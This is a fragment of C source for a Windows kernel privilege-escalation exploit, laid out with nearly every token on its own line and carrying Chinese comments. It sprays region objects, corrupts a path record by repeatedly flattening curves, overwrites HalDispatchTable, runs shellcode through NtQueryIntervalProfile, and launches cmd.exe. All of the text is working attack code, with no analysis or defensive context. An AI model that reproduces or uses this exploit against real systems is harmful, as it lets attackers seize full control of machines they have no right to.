while
(TRUE)
{
Device
=
GetDC(NULL);
Mutex
=
CreateMutex(NULL, FALSE, NULL);
WaitForSingleObject(Mutex, INFINITE);
printf(
"Mutex = %x\n"
, Mutex);
Thread
=
CreateThread(NULL,
0
, (LPTHREAD_START_ROUTINE)WatchdogThread, NULL,
0
, NULL);
if
( Thread
=
=
NULL)
{
printf(
"Create Thread Failed!\n"
);
continue
;
}
printf(
"start CreateRoundRectRgn\n"
);
for
(Size
=
1
<<
26
; Size; Size >>
=
1
) {
while
(Regions[NumRegion]
=
CreateRoundRectRgn(
0
,
0
,
1
, Size,
1
,
1
)) {
NumRegion
+
+
;
}
}
printf(
"Allocated %u/%u HRGN objects\n"
, NumRegion, MaxRegions);
printf(
"Flattening curves...\n"
);
for
( PointNum
=
MAX_POLYPOINTS;PointNum;PointNum
-
=
3
)
{
BeginPath(Device);
PolyDraw(Device, Points, PointTypes, PointNum);
EndPath(Device);
FlattenPath(Device);
FlattenPath(Device);
if
(PathRecord
-
>
next
!
=
PathRecord)
{
DWORD_PTR ret
=
FALSE;
SIZE_T Count
=
0
;
/
/
CodeAddr写入HalDispatchTable,写入HaliQuerySystemInformation
printf(
"CodeAddr = %x\n"
, (SIZE_T)CodeAddr);
printf(
"NtReadVirtualMemoryBuffer = %p\n"
, NtReadVirtualMemoryBuffer);
printf(
"HalDispatchTable = %p\n"
, HalDispatchTable);
ret
=
NtReadVirtualMemory((HANDLE)
-
1
, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable);
printf(
"ret = %x\n"
, ret);
if
( ret
=
=
NULL)
{
/
/
在下面的调用shellcode那里打断点
ULONG ret
=
0
;
NtQueryIntervalProfile((ULONG)pShellCodeInfo, &ret);
ShellExecuteA(NULL,
"open"
,
"cmd.exe"
, NULL, NULL, SW_SHOW);
return
;
}
}
EndPath(Device);
}
while
(NumRegion) {
DeleteObject(Regions[
-
-
NumRegion]);
}
printf(
"cleaning up...\n"
);
ReleaseMutex(Mutex);
WaitForSingleObject(Thread, INFINITE);
ReleaseDC(NULL, Device);
ReleaseDC(NULL, Device);
printf(
"ReStarting!\n"
);
}
}